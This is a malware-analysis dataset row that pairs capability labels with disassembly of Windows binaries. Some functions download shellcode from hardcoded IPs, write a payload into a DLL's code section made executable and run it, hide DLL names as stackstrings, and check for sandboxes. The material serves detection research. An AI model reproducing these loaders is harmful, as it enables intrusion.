joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001070
Capabilities:
Connect socket
Download and write a file
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header
Write file on windows

Disassembly:
mov eax, 0x28e8
call fcn.140001d70
sub rsp, rax
mov ecx, 0x202
lea rdx, [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400010ac
mov edx, eax
lea rcx, str.WSAStartup_failed:__d_n
call fcn.140001010
mov eax, 1
add rsp, 0x28e8
ret
mov edx, 1
mov qword [rsp + 0x28f0], rbx
mov qword [rsp + 0x28e0], rdi
mov edi, 2
mov ecx, edi
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400010fd
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Socket_creation_failed:__ld_n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [rdi - 1]
jmp 0x140001261
mov ecx, 0x50
mov word [rsp + 0x20], di
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.34.92.246.195
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x20]
mov rcx, rbx
mov dword [rsp + 0x24], eax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001169
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Connect_failed:__ld_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140001261
xor r9d, r9d
lea rdx, str.GET__downloads_shellcode.bin_HTTP_1.1_r_nHost:_34.92.246.195_r_nConnection:_close_r_n_r_n
mov rcx, rbx
lea r8d, [r9 + 0x51]
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1400011b2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Send_failed:__ld_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140001261
lea rdx, [0x14000236c]
lea rcx, str.shellcode.bin
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
jne 0x1400011ee
lea rcx, str.File_open_error_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [rdi + 1]
jmp 0x140001261
xor r9d, r9d
lea rdx, [rsp + 0x1d0]
mov r8d, 0x2710
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140001247
nop dword [rax]
mov r8d, eax
lea rcx, [rsp + 0x1d0]
mov r9, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
xor r9d, r9d
lea rdx, [rsp + 0x1d0]
mov r8d, 0x2710
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140001210
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rbx, qword [rsp + 0x28f0]
mov rdi, qword [rsp + 0x28e0]
add rsp, 0x28e8
ret
Function at 0x1400019b4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019fe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019fe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019fe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019fe
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019fe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a00
xor al, al
add rsp, 0x28
ret
Function at 0x6d8beb90
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6d8df5e4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x6d8bed18
mov rax, qword [0x6d8df5e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6d8bebdc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6d8bec65
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6d8bebc0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6d8bed4d
mov rax, qword [0x6d8df5e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6d8df5e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6d8bed30
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6d8bec5e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6d8becc0
add dword [0x6d8df5e4], 1
cmp edi, 8
jae 0x6d8bec93
test dil, 4
jne 0x6d8bed04
test edi, edi
je 0x6d8bec88
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6d8bed1f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x6d8bec88
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x6d8becac
jmp 0x6d8bec88
add rsi, qword [0x6d8df5e8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6d8bec5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6d8bec88
xor esi, esi
jmp 0x6d8bebe7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6d8bec88
mov rax, qword [0x6d8df5e8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x6d8bf4a0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6d8df8c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6d8df8a0]
test rbx, rbx
je 0x6d8bf4f4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6d8bf4eb
test rsi, rsi
je 0x6d8bf4eb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6d8bf4d0
lea rcx, [0x6d8df8c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x6d8bf730
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6d8bf740
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6d8bf750
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6d8bf791
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6d8bf788
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6d8bf793
add rax, 0x28
cmp rax, r9
jne 0x6d8bf774
xor eax, eax
ret

Function at 0x6d8bf830
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8dc1f0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x6d8bf89d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8bf89d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8bf89d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8bf894
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8bf89f
add rax, 0x28
cmp rax, r9
jne 0x6d8bf880
xor eax, eax
add rsp, 0x28
ret

Function at 0x6d8bf9a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6d8dc1f0]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x6d8bf9c0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8bf9b8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6d8bfa1d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6d8bfa14
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6d8bfa24
add rax, 0x28
cmp rax, r9
jne 0x6d8bfa00
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x6d8bfa40
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6d8dc1f0]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x6d8bfaae
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6d8bfaae
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6d8bfaae
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6d8bfaae
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6d8bfaa5
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6d8bfab5
add rcx, 0x28
cmp rcx, rax
jne 0x6d8bfa90
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6d8bfac8
jmp 0x6d8bfaae
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6d8bfad6
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6d8bfaae
test r9d, r9d
jg 0x6d8bfac0
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x6d8bfe40
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400024d0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0xc8
mov rax, qword [0x140011040]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rcx, qword [rsp + 0xe8]
mov rcx, qword [rcx]
call fcn.140001520
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0x1c
jbe 0x140002516
xor eax, eax
jmp 0x1400026b5
mov byte [rsp + 0x50], 0x6c
mov byte [rsp + 0x51], 0x6c
mov byte [rsp + 0x52], 0x64
mov byte [rsp + 0x53], 0x2e
mov byte [rsp + 0x54], 0x70
mov byte [rsp + 0x55], 0x74
mov byte [rsp + 0x56], 0x74
mov byte [rsp + 0x57], 0x68
mov byte [rsp + 0x58], 0x6e
mov byte [rsp + 0x59], 0x69
mov byte [rsp + 0x5a], 0x57
mov byte [rsp + 0x5b], 0
lea rcx, [rsp + 0x50]
call fcn.140001470
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x20], rax
lea r9, str.payload.bin
mov r8d, 0x118
lea rdx, str.27.124.44.10
lea rcx, [rsp + 0x90]
call fcn.140001630
lea rdi, [rsp + 0xa0]
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x80]
lea rsi, [rsp + 0xa0]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdi, [rsp + 0x30]
lea rsi, [rsp + 0x80]
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x30], 0
je 0x1400026b3
mov byte [rsp + 0x68], 0x6c
mov byte [rsp + 0x69], 0x6c
mov byte [rsp + 0x6a], 0x64
mov byte [rsp + 0x6b], 0x2e
mov byte [rsp + 0x6c], 0x70
mov byte [rsp + 0x6d], 0x6c
mov byte [rsp + 0x6e], 0x65
mov byte [rsp + 0x6f], 0x68
mov byte [rsp + 0x70], 0x67
mov byte [rsp + 0x71], 0x62
mov byte [rsp + 0x72], 0x64
mov byte [rsp + 0x73], 0
lea rcx, [rsp + 0x68]
call fcn.140001470
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x140002687
mov rcx, qword [rsp + 0x60]
add rcx, 0x1000
lea r9, [rsp + 0x78]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rdi, qword [rsp + 0x60]
add rdi, 0x1000
mov rsi, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
rep movsb byte [rdi], byte [rsi]
mov rcx, qword [rsp + 0x30]
call fcn.1400044e0
mov rcx, qword [rsp + 0x60]
add rcx, 0x1000
call fcn.140004c98
jmp 0x1400026b3
lea r9, [rsp + 0x7c]
mov r8d, 0x20
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
add rcx, 0x1000
call fcn.140004c98
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400044c0
add rsp, 0xc8
pop rdi
pop rsi
ret
Function at 0x140004f03
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140011040]
jne 0x1400044da
rol rcx, 0x10
test cx, 0xffff
jne 0x1400044d6
repz ret
ror rcx, 0x10
jmp 0x140004e5c
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140012280]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x140012378]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140004ee1
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140012280]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140004f03
mov rax, qword [rsp + 0x88]
mov qword [0x140012378], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140012318], rax
mov rax, qword [0x140012378]
mov qword [0x1400121f0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140012300], rax
mov dword [0x1400121e0], 0xc0000409
mov dword [0x1400121e4], 1
mov rax, qword [0x140011040]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140011048]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140012278], eax
mov ecx, 1
call fcn.1400057e0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14000d2d8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140012278], 0
jne 0x140004f8a
mov ecx, 1
call fcn.1400057e0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140005e8c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.1400072fc
nop
cmp dword [0x1400127c0], 1
je 0x140005e38
mov dword [0x1400127bc], 1
mov byte [0x1400127b8], r12b
test ebx, ebx
jne 0x140005e24
mov rcx, qword [0x140013290]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x140005e11
mov rcx, qword [0x140013288]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140005db0
call fcn.1400057f0
cmp qword [rdi], rax
jne 0x140005db0
jmp 0x140005d96
cmp rdi, rsi
jb 0x140005e11
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.1400057f0
mov qword [rdi], rax
call rbx
mov rcx, qword [0x140013290]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x140013288]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x140005def
cmp r13, rax
je 0x140005e0f
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x140005d96
lea rdx, [0x14000d238]
lea rcx, [0x14000d230]
call fcn.140005be0
lea rdx, [0x14000d248]
lea rcx, [0x14000d240]
call fcn.140005be0
nop
test r12d, r12d
je 0x140005e47
mov ecx, 8
call fcn.1400071fc
test r12d, r12d
jne 0x140005e72
mov dword [0x1400127c0], 1
lea ecx, [r12 + 8]
call fcn.1400071fc
mov ecx, r15d
call fcn.140005b74
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x140005d00

Function at 0x140005e98
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x140005d00
Function at 0x140008498
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.1400057f0
xor ebx, ebx
mov rdi, rax
cmp qword [0x140012f30], rbx
jne 0x14000859e
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140008673
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140008673
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140012f30], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140012f38], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140012f40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140012f50], rax
test rax, rax
je 0x140008595
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140012f48], rax
jmp 0x1400085a5
mov rax, qword [0x140012f48]
jmp 0x1400085ac
mov rax, qword [0x140012f48]
mov r11, qword [0x140012f50]
cmp rax, rdi
je 0x140008614
cmp r11, rdi
je 0x140008614
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140012f50]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x140008614
test rax, rax
je 0x140008614
call rsi
test rax, rax
je 0x14000860e
lea rcx, [rsp + 0x88]
mov r9d, 0xc
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000860e
test byte [rsp + 0x38], 1
jne 0x140008614
bts ebp, 0x15
jmp 0x140008652
mov rcx, qword [0x140012f38]
cmp rcx, rdi
je 0x140008652
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140008652
call rax
mov rbx, rax
test rax, rax
je 0x140008652
mov rcx, qword [0x140012f40]
cmp rcx, rdi
je 0x140008652
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140008652
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140012f30]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140008673
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x140008675
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x4021e3
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x30]
cmp eax, 1
ja 0x402215
mov eax, 1
jmp 0x4022cf
mov dword [rbp - 0x30], 0x40
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 0x28]
mov edx, 0x80000000
cmp rax, rdx
jae 0x402244
mov eax, 1
jmp 0x4022cf
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x78], rax
mov qword [rbp - 0x38], 0xffffffffdc3cba00
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x4f]
mov rcx, rax
call fcn.00402102
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp + 0x60]
mov qword [rbp - 0x50], rax
movzx eax, word [rbp + 0x68]
mov word [rbp - 0x48], ax
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.0041af70
lea rax, [rbp - 0x38]
mov rdx, rax
mov ecx, 0
call fcn.004020b4
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
sub rax, qword [rbp + 0x78]
cmp rax, 0xea5f
ja 0x4022ca
mov eax, 1
jmp 0x4022cf
mov eax, 0
add rsp, 0x100
pop rbp
ret

Function at 0x4022d8
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x1a0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x130], rcx
mov qword [rbp + 0x110], 0
mov dword [rbp - 0x20], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x118], rax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x402428
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
je 0x402428
lea rax, [rbp - 0x20]
add rax, 0x2c
mov rdx, qword [rbp + 0x130]
mov rcx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x402338
mov qword [rbp - 0x28], 0
mov eax, dword [rbp - 0x18]
mov ecx, eax
call fcn.00401594
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x60], 0x30
mov qword [rbp - 0x58], 0
mov dword [rbp - 0x48], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x110]
mov r9, rcx
mov r8, rdx
mov edx, 0x1fffff
mov rcx, rax
call fcn.00401e4c
mov rax, qword [rbp + 0x110]
test rax, rax
je 0x402410
mov rax, qword [rbp + 0x110]
cmp rax, 0xffffffffffffffff
je 0x402410
mov rax, qword [rbp + 0x118]
mov rcx, rax
call fcn.00401dff
mov rax, qword [rbp + 0x110]
jmp 0x40243e
mov rax, qword [rbp + 0x118]
mov rcx, rax
call fcn.00401dff
mov rax, 0xffffffffffffffff
jmp 0x40243e
mov rax, qword [rbp + 0x118]
mov rcx, rax
call fcn.00401dff
mov rax, 0xffffffffffffffff
add rsp, 0x1a0
pop rbp
ret